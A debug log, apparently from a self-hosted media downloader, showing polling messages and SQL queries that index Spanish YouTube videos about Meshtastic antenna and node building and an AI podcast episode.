22:18:48.237 [debug] Current batch of media processed. Will check again in 1000ms 22:18:49.193 [debug] Current batch of media processed. Will check again in 1000ms 22:18:49.238 [debug] Current batch of media processed. Will check again in 1000ms 22:18:50.194 [debug] Current batch of media processed. Will check again in 1000ms 22:18:50.239 [debug] Current batch of media processed. Will check again in 1000ms 22:18:51.163 [info] {"source":"oban","duration":734,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 22:18:51.198 [debug] Current batch of media processed. Will check again in 1000ms 22:18:51.240 [debug] Current batch of media processed. Will check again in 1000ms 22:18:52.199 [debug] Current batch of media processed. Will check again in 1000ms 22:18:52.241 [debug] Current batch of media processed. Will check again in 1000ms 22:18:53.200 [debug] Current batch of media processed. Will check again in 1000ms 22:18:53.242 [debug] Current batch of media processed. Will check again in 1000ms 22:18:54.201 [debug] Current batch of media processed. Will check again in 1000ms 22:18:54.243 [debug] Current batch of media processed. Will check again in 1000ms 22:18:55.202 [debug] Current batch of media processed. Will check again in 1000ms 22:18:55.244 [debug] Current batch of media processed. Will check again in 1000ms 22:18:56.203 [debug] Current batch of media processed. Will check again in 1000ms 22:18:56.245 [debug] Current batch of media processed. Will check again in 1000ms 22:18:57.204 [debug] Current batch of media processed. Will check again in 1000ms 22:18:57.246 [debug] Current batch of media processed. Will check again in 1000ms 22:18:58.205 [debug] Current batch of media processed. Will check again in 1000ms 22:18:58.247 [debug] Current batch of media processed. Will check again in 1000ms 22:18:59.206 [debug] Current batch of media processed. Will check again in 1000ms 22:18:59.248 [debug] Current batch of media processed. Will check again in 1000ms 22:19:00.095 [info] {"source":"oban","duration":370,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 22:19:00.207 [debug] Current batch of media processed. Will check again in 1000ms 22:19:00.249 [debug] Current batch of media processed. Will check again in 1000ms 22:19:01.208 [debug] Current batch of media processed. Will check again in 1000ms 22:19:01.250 [debug] Current batch of media processed. Will check again in 1000ms 22:19:02.209 [debug] Current batch of media processed. Will check again in 1000ms 22:19:02.251 [debug] Current batch of media processed. Will check again in 1000ms 22:19:03.210 [debug] Current batch of media processed. Will check again in 1000ms 22:19:03.252 [debug] Current batch of media processed. Will check again in 1000ms 22:19:04.211 [debug] Current batch of media processed. Will check again in 1000ms 22:19:04.253 [debug] Current batch of media processed. Will check again in 1000ms 22:19:05.212 [debug] Current batch of media processed. Will check again in 1000ms 22:19:05.255 [debug] FileFollowerServer Handler: Got media attributes: %{"description" => "Vamos montar una antena Coaxial Colineal (COCO) para la banda Lora - Meshtastic. Vamos a calcularla para la banda de 868 Mhz pero es 100% aplicable a otras bandas escalando las medidas. En el video explico como hacerla.\n\nPágina principal Meshtastic\nhttps://meshtastic.org/\n\nGrupo Telegram Catalunya\nhttps://t.me/MeshtasticGirona\n\nGrupo Telegram España\nhttps://t.me/meshtastic_esp\n\n\n\nContenido del video ------------------------------\n\n00:00 - Presentación\n00:41 - Intro Canal\n00:59 - Como hacer los cálculos de la antena\n07:46 - Montando los tramos de 1/2 onda\n10:04 - El elemento de 1/4 onda\n10:45 - Unas opiniones\n12:24 - Ajuste de ROE\n13:23 - El artículo que me orientó\n18:11 - Conclusiones\n\n#coco #coaxial #colineal #meshtastic #JPOLE #868Mhz #hamradio #mesh #redes #antenas #autoconstruidas #radioaficionados #diyelectronics #emergencias #preparacionismo #preppers\n\nLa música de la intro es un fragmento de Slighshot, de Steve Adams, en el dominio público.\nLa música de fondo es Indeep (c)2002 de Wagner García y Leonardo Segura, grabado en estudios Wagner Prat de Llobregat. Cedida para estos videos por su autor.", "duration" => 1185, "filename" => "/downloads/music/ea3grn/152 - CONSTRUIMOS ANTENA COLINEAL COAXIAL COCO 868MHZ LORA.m4a", "id" => "9gEDdqflGtk", "live_status" => "not_live", "original_url" => "https://www.youtube.com/watch?v=9gEDdqflGtk", "playlist_index" => 29, "timestamp" => 1743699614, "title" => "152 - CONSTRUIMOS ANTENA COLINEAL COAXIAL COCO 868MHZ LORA", "upload_date" => "20250403"} 22:19:05.256 [debug] QUERY OK source="sources" db=0.6ms idle=1497.0ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" IN (?)) [3] 22:19:05.259 [debug] QUERY OK source="sources" db=0.6ms idle=1500.4ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [3] 22:19:05.261 [debug] QUERY OK source="media_items" db=0.7ms idle=1501.4ms SELECT min(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2025-04-03 17:00:14Z], 3] 22:19:05.263 [debug] QUERY OK source="media_items" db=1.3ms idle=653.8ms INSERT INTO "media_items" AS m0 ("description","title","uuid","duration_seconds","livestream","media_id","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","source_id","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "duration_seconds" = ?, "livestream" = ?, "media_id" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "source_id" = ?, "uploaded_at" = ? RETURNING "id" ["Vamos montar una antena Coaxial Colineal (COCO) para la banda Lora - Meshtastic. Vamos a calcularla para la banda de 868 Mhz pero es 100% aplicable a otras bandas escalando las medidas. En el video explico como hacerla.\n\nPágina principal Meshtastic\nhttps://meshtastic.org/\n\nGrupo Telegram Catalunya\nhttps://t.me/MeshtasticGirona\n\nGrupo Telegram España\nhttps://t.me/meshtastic_esp\n\n\n\nContenido del video ------------------------------\n\n00:00 - Presentación\n00:41 - Intro Canal\n00:59 - Como hacer los cálculos de la antena\n07:46 - Montando los tramos de 1/2 onda\n10:04 - El elemento de 1/4 onda\n10:45 - Unas opiniones\n12:24 - Ajuste de ROE\n13:23 - El artículo que me orientó\n18:11 - Conclusiones\n\n#coco #coaxial #colineal #meshtastic #JPOLE #868Mhz #hamradio #mesh #redes #antenas #autoconstruidas #radioaficionados #diyelectronics #emergencias #preparacionismo #preppers\n\nLa música de la intro es un fragmento de Slighshot, de Steve Adams, en el dominio público.\nLa música de fondo es Indeep (c)2002 de Wagner García y Leonardo Segura, grabado en estudios Wagner Prat de Llobregat. Cedida para estos videos por su autor.", "152 - CONSTRUIMOS ANTENA COLINEAL COAXIAL COCO 868MHZ LORA", "12311e79-1c07-4b81-a785-298a8efc3967", 1185, false, "9gEDdqflGtk", "https://www.youtube.com/watch?v=9gEDdqflGtk", 29, "/downloads/music/ea3grn/152 - CONSTRUIMOS ANTENA COLINEAL COAXIAL COCO 868MHZ LORA.m4a", false, false, false, 3, [], 98, ~U[2025-04-03 17:00:14Z], ~U[2026-02-07 21:19:05Z], ~U[2026-02-07 21:19:05Z], "Vamos montar una antena Coaxial Colineal (COCO) para la banda Lora - Meshtastic. Vamos a calcularla para la banda de 868 Mhz pero es 100% aplicable a otras bandas escalando las medidas. En el video explico como hacerla.\n\nPágina principal Meshtastic\nhttps://meshtastic.org/\n\nGrupo Telegram Catalunya\nhttps://t.me/MeshtasticGirona\n\nGrupo Telegram España\nhttps://t.me/meshtastic_esp\n\n\n\nContenido del video ------------------------------\n\n00:00 - Presentación\n00:41 - Intro Canal\n00:59 - Como hacer los cálculos de la antena\n07:46 - Montando los tramos de 1/2 onda\n10:04 - El elemento de 1/4 onda\n10:45 - Unas opiniones\n12:24 - Ajuste de ROE\n13:23 - El artículo que me orientó\n18:11 - Conclusiones\n\n#coco #coaxial #colineal #meshtastic #JPOLE #868Mhz #hamradio #mesh #redes #antenas #autoconstruidas #radioaficionados #diyelectronics #emergencias #preparacionismo #preppers\n\nLa música de la intro es un fragmento de Slighshot, de Steve Adams, en el dominio público.\nLa música de fondo es Indeep (c)2002 de Wagner García y Leonardo Segura, grabado en estudios Wagner Prat de Llobregat. Cedida para estos videos por su autor.", "152 - CONSTRUIMOS ANTENA COLINEAL COAXIAL COCO 868MHZ LORA", 1185, false, "9gEDdqflGtk", "https://www.youtube.com/watch?v=9gEDdqflGtk", "/downloads/music/ea3grn/152 - CONSTRUIMOS ANTENA COLINEAL COAXIAL COCO 868MHZ LORA.m4a", false, 3, ~U[2025-04-03 17:00:14Z]] 22:19:05.264 [debug] QUERY OK source="sources" db=0.5ms idle=505.2ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [3] 22:19:05.265 [debug] QUERY OK source="media_profiles" db=0.5ms idle=8.4ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 22:19:05.266 [debug] QUERY OK source="media_items" db=0.6ms idle=5.8ms SELECT 1 FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) LIMIT 1 [1347] 22:19:05.266 [debug] Current batch of media processed. Will check again in 1000ms 22:19:06.213 [debug] Current batch of media processed. Will check again in 1000ms 22:19:06.266 [debug] Current batch of media processed. Will check again in 1000ms 22:19:07.214 [debug] Current batch of media processed. Will check again in 1000ms 22:19:07.267 [debug] Current batch of media processed. Will check again in 1000ms 22:19:08.215 [debug] Current batch of media processed. Will check again in 1000ms 22:19:08.268 [debug] Current batch of media processed. Will check again in 1000ms 22:19:09.216 [debug] Current batch of media processed. Will check again in 1000ms 22:19:09.269 [debug] Current batch of media processed. Will check again in 1000ms 22:19:10.217 [debug] Current batch of media processed. Will check again in 1000ms 22:19:10.270 [debug] Current batch of media processed. Will check again in 1000ms 22:19:11.218 [debug] Current batch of media processed. Will check again in 1000ms 22:19:11.271 [debug] Current batch of media processed. Will check again in 1000ms 22:19:12.219 [debug] Current batch of media processed. Will check again in 1000ms 22:19:12.272 [debug] Current batch of media processed. Will check again in 1000ms 22:19:13.220 [debug] Current batch of media processed. Will check again in 1000ms 22:19:13.273 [debug] Current batch of media processed. Will check again in 1000ms 22:19:14.221 [debug] Current batch of media processed. Will check again in 1000ms 22:19:14.274 [debug] Current batch of media processed. Will check again in 1000ms 22:19:15.222 [debug] Current batch of media processed. Will check again in 1000ms 22:19:15.275 [debug] Current batch of media processed. Will check again in 1000ms 22:19:16.223 [debug] Current batch of media processed. Will check again in 1000ms 22:19:16.276 [debug] Current batch of media processed. Will check again in 1000ms 22:19:17.224 [debug] Current batch of media processed. Will check again in 1000ms 22:19:17.277 [debug] Current batch of media processed. Will check again in 1000ms 22:19:18.225 [debug] Current batch of media processed. Will check again in 1000ms 22:19:18.278 [debug] Current batch of media processed. Will check again in 1000ms 22:19:19.226 [debug] FileFollowerServer Handler: Got media attributes: %{"description" => "#IAMIQUE 👉🏼 Ep.2️⃣2️⃣ : Top Voices IA🎙️🎤\n\nO sea a quien debes seguir ! Los piquitos de oro de la IA 🗣️.\n\nSeguramente ya lo estarás haciendo pero hoy David García Martínez y yo os contamos cada uno nuestros tres referentes nacionales de IA. (Otro día ya os daremos los internacionales... pero con estos os aseguro que estaréis muy muy al día).\n\nHay otras personas que lo están haciendo igual de bien... pero elegir implica renunciar.... y estos son nuestros elegidos... \n\nMuchas gracias a todos ellos por ayudarnos a entender la IA y sobre todo donde aplicarla, que es lo mas importante.🫶🏼\n\n¿Cuáles son los tuyos?\n\ny por fa 🙏 (si quieres ayudarnos) :\n\n 👐🏼 Dale a Compartir para darnos visibilidad\n ✍🏼 Escribe un comentario, opina!\n 🫶🏼 y ya la leche.... darnos un like (o no)\n 🫵🏼 y siempre .... contamos contigo", "duration" => 595, "filename" => "/downloads/music/IA mí QUÉ/EP.22 - INFLUENCERS DE IA.m4a", "id" => "QfwT4l7A6Pg", "live_status" => "not_live", "original_url" => "https://www.youtube.com/watch?v=QfwT4l7A6Pg", "playlist_index" => 28, "timestamp" => 1755166067, "title" => "EP.22 - INFLUENCERS DE IA", "upload_date" => "20250814"} 22:19:19.227 [debug] QUERY OK source="sources" db=0.5ms idle=591.5ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" IN (?)) [2] 22:19:19.228 [debug] QUERY OK source="sources" db=0.4ms idle=469.2ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [2] 22:19:19.229 [debug] QUERY OK source="media_items" db=0.7ms idle=469.8ms SELECT min(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2025-08-14 10:07:47Z], 2] 22:19:19.230 [debug] QUERY OK source="media_items" db=1.0ms idle=470.9ms INSERT INTO "media_items" AS m0 ("description","title","uuid","duration_seconds","livestream","media_id","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","source_id","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "duration_seconds" = ?, "livestream" = ?, "media_id" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "source_id" = ?, "uploaded_at" = ? RETURNING "id" ["#IAMIQUE 👉🏼 Ep.2️⃣2️⃣ : Top Voices IA🎙️🎤\n\nO sea a quien debes seguir ! Los piquitos de oro de la IA 🗣️.\n\nSeguramente ya lo estarás haciendo pero hoy David García Martínez y yo os contamos cada uno nuestros tres referentes nacionales de IA. (Otro día ya os daremos los internacionales... pero con estos os aseguro que estaréis muy muy al día).\n\nHay otras personas que lo están haciendo igual de bien... pero elegir implica renunciar.... y estos son nuestros elegidos... \n\nMuchas gracias a todos ellos por ayudarnos a entender la IA y sobre todo donde aplicarla, que es lo mas importante.🫶🏼\n\n¿Cuáles son los tuyos?\n\ny por fa 🙏 (si quieres ayudarnos) :\n\n 👐🏼 Dale a Compartir para darnos visibilidad\n ✍🏼 Escribe un comentario, opina!\n 🫶🏼 y ya la leche.... darnos un like (o no)\n 🫵🏼 y siempre .... contamos contigo", "EP.22 - INFLUENCERS DE IA", "9f7e6d61-540c-4757-a786-6fb772d0d346", 595, false, "QfwT4l7A6Pg", "https://www.youtube.com/watch?v=QfwT4l7A6Pg", 28, "/downloads/music/IA mí QUÉ/EP.22 - INFLUENCERS DE IA.m4a", false, false, false, 2, [], 97, ~U[2025-08-14 10:07:47Z], ~U[2026-02-07 21:19:19Z], ~U[2026-02-07 21:19:19Z], "#IAMIQUE 👉🏼 Ep.2️⃣2️⃣ : Top Voices IA🎙️🎤\n\nO sea a quien debes seguir ! Los piquitos de oro de la IA 🗣️.\n\nSeguramente ya lo estarás haciendo pero hoy David García Martínez y yo os contamos cada uno nuestros tres referentes nacionales de IA. (Otro día ya os daremos los internacionales... pero con estos os aseguro que estaréis muy muy al día).\n\nHay otras personas que lo están haciendo igual de bien... pero elegir implica renunciar.... y estos son nuestros elegidos... \n\nMuchas gracias a todos ellos por ayudarnos a entender la IA y sobre todo donde aplicarla, que es lo mas importante.🫶🏼\n\n¿Cuáles son los tuyos?\n\ny por fa 🙏 (si quieres ayudarnos) :\n\n 👐🏼 Dale a Compartir para darnos visibilidad\n ✍🏼 Escribe un comentario, opina!\n 🫶🏼 y ya la leche.... darnos un like (o no)\n 🫵🏼 y siempre .... contamos contigo", "EP.22 - INFLUENCERS DE IA", 595, false, "QfwT4l7A6Pg", "https://www.youtube.com/watch?v=QfwT4l7A6Pg", "/downloads/music/IA mí QUÉ/EP.22 - INFLUENCERS DE IA.m4a", false, 2, ~U[2025-08-14 10:07:47Z]] 22:19:19.231 [debug] QUERY OK source="sources" db=0.5ms idle=472.2ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [2] 22:19:19.232 [debug] QUERY OK source="media_profiles" db=0.5ms idle=3.9ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 22:19:19.233 [debug] QUERY OK source="media_items" db=0.5ms idle=4.0ms SELECT 1 FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) LIMIT 1 [1325] 22:19:19.233 [debug] Current batch of media processed. Will check again in 1000ms 22:19:19.279 [debug] Current batch of media processed. Will check again in 1000ms 22:19:20.233 [debug] Current batch of media processed. Will check again in 1000ms 22:19:20.280 [debug] Current batch of media processed. Will check again in 1000ms 22:19:21.165 [info] {"source":"oban","duration":1826,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 22:19:21.234 [debug] Current batch of media processed. Will check again in 1000ms 22:19:21.281 [debug] Current batch of media processed. Will check again in 1000ms 22:19:22.235 [debug] Current batch of media processed. Will check again in 1000ms 22:19:22.282 [debug] Current batch of media processed. Will check again in 1000ms 22:19:23.236 [debug] Current batch of media processed. Will check again in 1000ms 22:19:23.286 [debug] Current batch of media processed. Will check again in 1000ms 22:19:24.237 [debug] Current batch of media processed. Will check again in 1000ms 22:19:24.287 [debug] Current batch of media processed. Will check again in 1000ms 22:19:25.238 [debug] Current batch of media processed. Will check again in 1000ms 22:19:25.288 [debug] Current batch of media processed. Will check again in 1000ms 22:19:26.239 [debug] Current batch of media processed. Will check again in 1000ms 22:19:26.289 [debug] Current batch of media processed. Will check again in 1000ms 22:19:27.240 [debug] Current batch of media processed. Will check again in 1000ms 22:19:27.290 [debug] Current batch of media processed. Will check again in 1000ms 22:19:28.241 [debug] Current batch of media processed. Will check again in 1000ms 22:19:28.291 [debug] Current batch of media processed. Will check again in 1000ms 22:19:29.242 [debug] Current batch of media processed. Will check again in 1000ms 22:19:29.292 [debug] Current batch of media processed. Will check again in 1000ms 22:19:30.243 [debug] Current batch of media processed. Will check again in 1000ms 22:19:30.293 [debug] Current batch of media processed. Will check again in 1000ms 22:19:31.244 [debug] Current batch of media processed. Will check again in 1000ms 22:19:31.294 [debug] Current batch of media processed. Will check again in 1000ms 22:19:32.245 [debug] Current batch of media processed. Will check again in 1000ms 22:19:32.295 [debug] Current batch of media processed. Will check again in 1000ms 22:19:33.246 [debug] Current batch of media processed. Will check again in 1000ms 22:19:33.296 [debug] Current batch of media processed. Will check again in 1000ms 22:19:34.247 [debug] Current batch of media processed. Will check again in 1000ms 22:19:34.297 [debug] Current batch of media processed. Will check again in 1000ms 22:19:35.248 [debug] Current batch of media processed. Will check again in 1000ms 22:19:35.298 [debug] Current batch of media processed. Will check again in 1000ms 22:19:36.249 [debug] Current batch of media processed. Will check again in 1000ms 22:19:36.299 [debug] Current batch of media processed. Will check again in 1000ms 22:19:37.250 [debug] Current batch of media processed. Will check again in 1000ms 22:19:37.300 [debug] Current batch of media processed. Will check again in 1000ms 22:19:38.251 [debug] Current batch of media processed. Will check again in 1000ms 22:19:38.301 [debug] Current batch of media processed. Will check again in 1000ms 22:19:39.252 [debug] Current batch of media processed. Will check again in 1000ms 22:19:39.302 [debug] Current batch of media processed. Will check again in 1000ms 22:19:40.253 [debug] Current batch of media processed. Will check again in 1000ms 22:19:40.303 [debug] Current batch of media processed. Will check again in 1000ms 22:19:41.254 [debug] Current batch of media processed. Will check again in 1000ms 22:19:41.304 [debug] Current batch of media processed. Will check again in 1000ms 22:19:42.255 [debug] Current batch of media processed. Will check again in 1000ms 22:19:42.305 [debug] Current batch of media processed. Will check again in 1000ms 22:19:43.256 [debug] Current batch of media processed. Will check again in 1000ms 22:19:43.306 [debug] Current batch of media processed. Will check again in 1000ms 22:19:44.257 [debug] Current batch of media processed. Will check again in 1000ms 22:19:44.307 [debug] Current batch of media processed. Will check again in 1000ms 22:19:45.258 [debug] Current batch of media processed. Will check again in 1000ms 22:19:45.308 [debug] Current batch of media processed. Will check again in 1000ms 22:19:46.261 [debug] Current batch of media processed. Will check again in 1000ms 22:19:46.309 [debug] Current batch of media processed. Will check again in 1000ms 22:19:47.264 [debug] Current batch of media processed. Will check again in 1000ms 22:19:47.310 [debug] Current batch of media processed. Will check again in 1000ms 22:19:48.265 [debug] Current batch of media processed. Will check again in 1000ms 22:19:48.311 [debug] Current batch of media processed. Will check again in 1000ms 22:19:49.266 [debug] Current batch of media processed. Will check again in 1000ms 22:19:49.312 [debug] Current batch of media processed. Will check again in 1000ms 22:19:50.269 [debug] Current batch of media processed. Will check again in 1000ms 22:19:50.313 [debug] Current batch of media processed. Will check again in 1000ms 22:19:51.168 [info] {"source":"oban","duration":1770,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 22:19:51.270 [debug] Current batch of media processed. Will check again in 1000ms 22:19:51.314 [debug] Current batch of media processed. Will check again in 1000ms 22:19:52.271 [debug] Current batch of media processed. Will check again in 1000ms 22:19:52.315 [debug] Current batch of media processed. Will check again in 1000ms 22:19:53.272 [debug] Current batch of media processed. Will check again in 1000ms 22:19:53.316 [debug] Current batch of media processed. Will check again in 1000ms 22:19:54.273 [debug] Current batch of media processed. Will check again in 1000ms 22:19:54.317 [debug] Current batch of media processed. Will check again in 1000ms 22:19:55.274 [debug] Current batch of media processed. Will check again in 1000ms 22:19:55.318 [debug] Current batch of media processed. Will check again in 1000ms 22:19:56.275 [debug] Current batch of media processed. Will check again in 1000ms 22:19:56.319 [debug] Current batch of media processed. Will check again in 1000ms 22:19:57.276 [debug] Current batch of media processed. Will check again in 1000ms 22:19:57.320 [debug] Current batch of media processed. Will check again in 1000ms 22:19:58.277 [debug] Current batch of media processed. Will check again in 1000ms 22:19:58.321 [debug] Current batch of media processed. Will check again in 1000ms 22:19:59.278 [debug] Current batch of media processed. Will check again in 1000ms 22:19:59.322 [debug] Current batch of media processed. Will check again in 1000ms 22:20:00.096 [info] {"source":"oban","duration":413,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 22:20:00.279 [debug] Current batch of media processed. Will check again in 1000ms 22:20:00.323 [debug] FileFollowerServer Handler: Got media attributes: %{"description" => "Siguiendo con el tema Meshtastic, vamos a ver como construir nosotros un nodo Mesh de bajo coste, con la plataforma Faketec.\n\nSi quieres ampliar conocimientos de Meshtastic te recomiendo este canal de youtube:\nhttps://www.youtube.com/@RadioPrepper82\n\nEnlaces del material:\n\nEnlace gerbers placas Faketec:\nhttps://github.com/gargomoma/fakeTec_pcb/tree/main\n\nPlaca Pro-Micro NiceNano compatible:\nhttps://es.aliexpress.com/item/1005007738886550.html\n\nModulo HT-RA62:\nhttps://es.aliexpress.com/item/1005005543917617.html\n\nPulsadores miniatura:\nhttps://es.aliexpress.com/item/4001125532910.html\n\nPantalla OLED:\nhttps://es.aliexpress.com/item/1005005970901119.html\n\n\nPágina principal Meshtastic\nhttps://meshtastic.org/\n\nGrupo Telegram Catalunya\nhttps://t.me/MeshtasticGirona\n\nGrupo Telegram España\nhttps://t.me/meshtastic_esp\n\n\n\nContenido del video ------------------------------\n\n00:00 - Presentación\n01:08 - Intro Canal\n01:26 - Introducción\n03:50 - ¿Que necesitais?\n10:51 - Activar modo Boost \n13:06 - Probando NiceNano\n15:20 - Actualizar firmware\n20:49 - Soldando placa\n24:09 - Presentando a Yonsi\n24:37 - Accediendo por Bluetooth\n28:09 - Configuración básica\n30:12 - Calibrando medida de tensión\n35:41 - Conclusiones\n\n\n\n#meshtastic #nicenano #868Mhz #hamradio #mesh #redes #radioaficionados #diyelectronics #emergencias #preparacionismo #preppers\n\nLa música de la intro es un fragmento de Slighshot, de Steve Adams, en el dominio público.\nLa música de fondo es Indeep (c)2002 de Wagner García y Leonardo Segura, grabado en estudios Wagner Prat de Llobregat. Cedida para estos videos por su autor.", "duration" => 2253, "filename" => "/downloads/music/ea3grn/151 - MESHTASTIC DE BAJO COSTE - CONTRUYE TU FAKETEC - NRF52.m4a", "id" 